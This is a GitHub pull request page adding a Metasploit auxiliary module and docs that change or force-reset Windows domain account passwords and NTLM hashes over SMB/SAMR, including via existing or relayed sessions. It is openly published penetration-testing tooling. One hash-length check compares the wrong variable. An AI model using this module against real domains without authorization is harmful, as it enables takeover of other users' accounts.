Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Change/Reset passwords over SMB #19666

Merged
merged 12 commits into from
Dec 9, 2024
46 changes: 46 additions & 0 deletions documentation/modules/auxiliary/admin/smb/change_password.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
## Introduction

Allows changing or resetting users' passwords.

"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.

Note that users can typically not reset their own passwords (unless they have very high privileges).

This module works with existing sessions (or relaying), especially for Reset use cases, wherein the target's password is not required.

## Actions

- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions)
- `RESET_NTLM` - Reset the target's NTLM hash, without knowing the existing password. This will not update kerberos keys.
- `CHANGE` - Change the password, knowing the existing one.
- `CHANGE_NTLM` - Change the password to a NTLM hash value, knowing the existing password. This will not update kerberos keys.

## Options

The required options are based on the action being performed:

- When resetting a password, you must specify the `TARGET_USER`
- When changing a password, you must specify the `SMBUser` and `SMBPass`, even if using an existing session (since the API requires both of these to be specified, even for open SMB sessions)
- When resetting or changing a password, you must specify `NEW_PASSWORD`
- When resetting or changing an NTLM hash, you must specify `NEW_NTLM`

**SMBUser**

The username to use to authenticate to the server. Required for changing a password, even if using an existing session.

**SMBPass**

The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).

**TARGET_USER**

For resetting passwords, the user account for which to reset the password. The authenticated account (SMBUser) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)

**NEW_PASSWORD**

The new password to set for `RESET` and `CHANGE` actions.

**NEW_NTLM**

The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash.
25 changes: 17 additions & 8 deletions lib/msf/core/exploit/remote/smb/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -149,10 +149,19 @@ def unicode(str)
# You should call {#connect} before calling this
#
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
# @param opts [Hash] Options to override the datastore options
# @option :username [String] Override SMBUser datastore option
# @option :domain [String] Override SMBDomain datastore option
# @option :password [String] Override SMBPass datastore option
# @option :auth_protocol [String] Override SMB::Auth datastore option
# @return [void]
def smb_login(simple_client = self.simple)
def smb_login(simple_client = self.simple, opts: {})
username = opts.fetch(:username) {datastore['SMBUser']}
domain = opts.fetch(:domain) {datastore['SMBDomain']}
password = opts.fetch(:password) {datastore['SMBPass']}
smb_auth = opts.fetch(:auth_protocol) {datastore['SMB::Auth']}
# Override the default RubySMB capabilities with Kerberos authentication
if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
if smb_auth == Msf::Exploit::Remote::AuthOption::KERBEROS
fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank?
fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank?
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes'])
Expand All @@ -162,9 +171,9 @@ def smb_login(simple_client = self.simple)
host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'],
hostname: datastore['Smb::Rhostname'],
proxies: datastore['Proxies'],
realm: datastore['SMBDomain'],
username: datastore['SMBUser'],
password: datastore['SMBPass'],
realm: domain,
username: username,
password: password,
framework: framework,
framework_module: self,
cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'],
Expand All @@ -178,9 +187,9 @@ def smb_login(simple_client = self.simple)

simple_client.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain'],
username,
password,
domain,
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
Expand Down
268 changes: 268 additions & 0 deletions modules/auxiliary/admin/smb/change_password.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,268 @@
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb/dcerpc/client'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Report
include Msf::OptionalSession::SMB

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMB Password Change',
'Description' => %q{
Change the password of an account using SMB. This provides several different
APIs, each of which have their respective benefits and drawbacks.
},
'License' => MSF_LICENSE,
'Author' => [
'smashery'
],
'References' => [
['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'],
],
'Notes' => {
'Reliability' => [],
'Stability' => [],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Actions' => [
[ 'RESET', { 'Description' => "Reset the target's password without knowing the existing one (requires appropriate permissions)" } ],
[ 'RESET_NTLM', { 'Description' => "Reset the target's NTLM hash, without knowing the existing password. This will not update kerberos keys." } ],
[ 'CHANGE', { 'Description' => 'Change the password, knowing the existing one.' } ],
[ 'CHANGE_NTLM', { 'Description' => 'Change the password to a NTLM hash value, knowing the existing password. This will not update kerberos keys.' } ]
smashery marked this conversation as resolved.
Show resolved Hide resolved
],
'DefaultAction' => 'RESET'
)
)

register_options(
[
OptString.new('NEW_PASSWORD', [false, 'The new password to change to', ''], conditions: ['ACTION', 'in', %w[CHANGE RESET]]),
OptString.new('NEW_NTLM', [false, 'The new NTLM hash to change to. Can be either an NT hash or a colon-delimited NTLM hash', ''], conditions: ['ACTION', 'in', %w[CHANGE_NTLM RESET_NTLM]]),
smashery marked this conversation as resolved.
Show resolved Hide resolved
OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET RESET_NTLM]])
]
)
end

def connect_samr
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have a method in our Msf::Exploit::Remote::MsSamr module that'll do this and open the domain handle after looking up the sid. I see in #get_user_handle you're getting the domain handle, so you could remove quite a bit of that code as well and use the handle the mixin returns.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tried using that, but it created issues when using the CHANGE action. When passwords are expired, we get ACCESS_DENIED if trying to get a server handle with the anonymous bind. When trying to make this change, I found I needed to have a separate code path to do all the connecting anyway, which undermined the refactoring.

vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')
@samr = @tree.open_file(filename: 'samr', write: true, read: true)

vprint_status('Binding to \\samr...')
@samr.bind(endpoint: RubySMB::Dcerpc::Samr)
vprint_good('Bound to \\samr')
end

def run
case action.name
when 'CHANGE'
run_change
when 'RESET'
run_reset
when 'RESET_NTLM'
run_reset_ntlm
when 'CHANGE_NTLM'
run_change_ntlm
end
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
rescue Rex::ConnectionError => e
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e
fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}")
rescue ::StandardError => e
raise e
ensure
@samr.close_handle(@domain_handle) if @domain_handle
@samr.close_handle(@server_handle) if @server_handle
@samr.close if @samr
@tree.disconnect! if @tree

# Don't disconnect the client if it's coming from the session so it can be reused
unless session
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
disconnect
end
end

def authenticate(anonymous_on_expired: false)
if session
print_status("Using existing session #{session.sid}")
client = session.client
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too
else
connect
begin
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if anonymous_on_expired &&
(e.source.is_a?(Rex::Proto::Kerberos::Model::Error::KerberosError) && [Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED].include?(e.source.error_code) ||
e.source.is_a?(::WindowsError::ErrorCode) && [::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED, ::WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE].include?(e.source))
# Password has expired - we'll need to anonymous connect
opts = {
username: '',
password: '',
domain: '',
auth_protocol: Msf::Exploit::Remote::AuthOption::NTLM
}
disconnect
connect
smb_login(opts: opts)
else
raise
end
end
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
end

report_service(
host: simple.address,
port: simple.port,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
)

begin
@tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::Unreachable,
"Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
end

connect_samr
end

def parse_ntlm_from_config
new_ntlm = datastore['NEW_NTLM']
fail_with(Msf::Exploit::Failure::BadConfig, 'Must provide NEW_NTLM value') if new_ntlm.blank?
case new_ntlm.count(':')
when 0
new_nt = new_ntlm
new_lm = nil
when 1
new_nt, new_lm = new_ntlm.split(':')
else
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid value for NEW_NTLM')
end

new_nt = Rex::Text.hex_to_raw(new_nt)
new_lm = Rex::Text.hex_to_raw(new_lm) unless new_lm.nil?
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid NT hash value in NEW_NTLM') unless new_nt.length == 16
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid LM hash value in NEW_NTLM') unless new_lm.nil? || new_nt.length == 16

[new_nt, new_lm]
end

def get_user_handle(domain, username)
vprint_status("Opening handle for #{domain}\\#{username}")
@server_handle = @samr.samr_connect
domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain)
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: domain_sid)
user_rids = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [username])
fail_with(Module::Failure::BadConfig, "Could not find #{domain}\\#{username}") if user_rids.nil?
rid = user_rids[username][:rid]

@samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)
rescue RubySMB::Dcerpc::Error::SamrError => e
fail_with(Msf::Exploit::Failure::BadConfig, e.to_s)
end

def run_change_ntlm
fail_with(Module::Failure::BadConfig, 'Must set NEW_NTLM') if datastore['NEW_NTLM'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank?
new_nt, new_lm = parse_ntlm_from_config
print_status('Changing NTLM')
authenticate(anonymous_on_expired: false)

user_handle = get_user_handle(datastore['SMBDomain'], datastore['SMBUser'])

@samr.samr_change_password_user(user_handle: user_handle,
old_password: datastore['SMBPass'],
new_nt_hash: new_nt,
new_lm_hash: new_lm)

print_good("Successfully changed password for #{datastore['SMBUser']}")
print_warning('AES Kerberos keys will not be available until user changes their password')
end

def run_reset_ntlm
fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank?
new_nt, = parse_ntlm_from_config
print_status('Resetting NTLM')
authenticate(anonymous_on_expired: false)

user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER'])

user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL1_INFORMATION,
member: RubySMB::Dcerpc::Samr::SamprUserInternal1Information.new(
encrypted_nt_owf_password: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.new(buffer: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.encrypt_hash(hash: new_nt, key: simple.client.application_key)),
encrypted_lm_owf_password: nil,
nt_password_present: 1,
lm_password_present: 0,
password_expired: 0
)
)
@samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)

print_good("Successfully reset password for #{datastore['TARGET_USER']}")
print_warning('AES Kerberos keys will not be available until user changes their password')
end

def run_reset
fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank?
fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank?
print_status('Resetting password')
authenticate(anonymous_on_expired: false)

user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER'])

user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
i1: {
password_expired: 0,
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
},
user_password: {
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
datastore['NEW_PASSWORD'],
simple.client.application_key
)
}
)
)
@samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully reset password for #{datastore['TARGET_USER']}")
end

def run_change
fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank?
smcintyre-r7 marked this conversation as resolved.
Show resolved Hide resolved
print_status('Changing password')
authenticate(anonymous_on_expired: true)

@samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], old_password: datastore['SMBPass'], new_password: datastore['NEW_PASSWORD'])

print_good("Successfully changed password for #{datastore['SMBUser']}")
end
end
Loading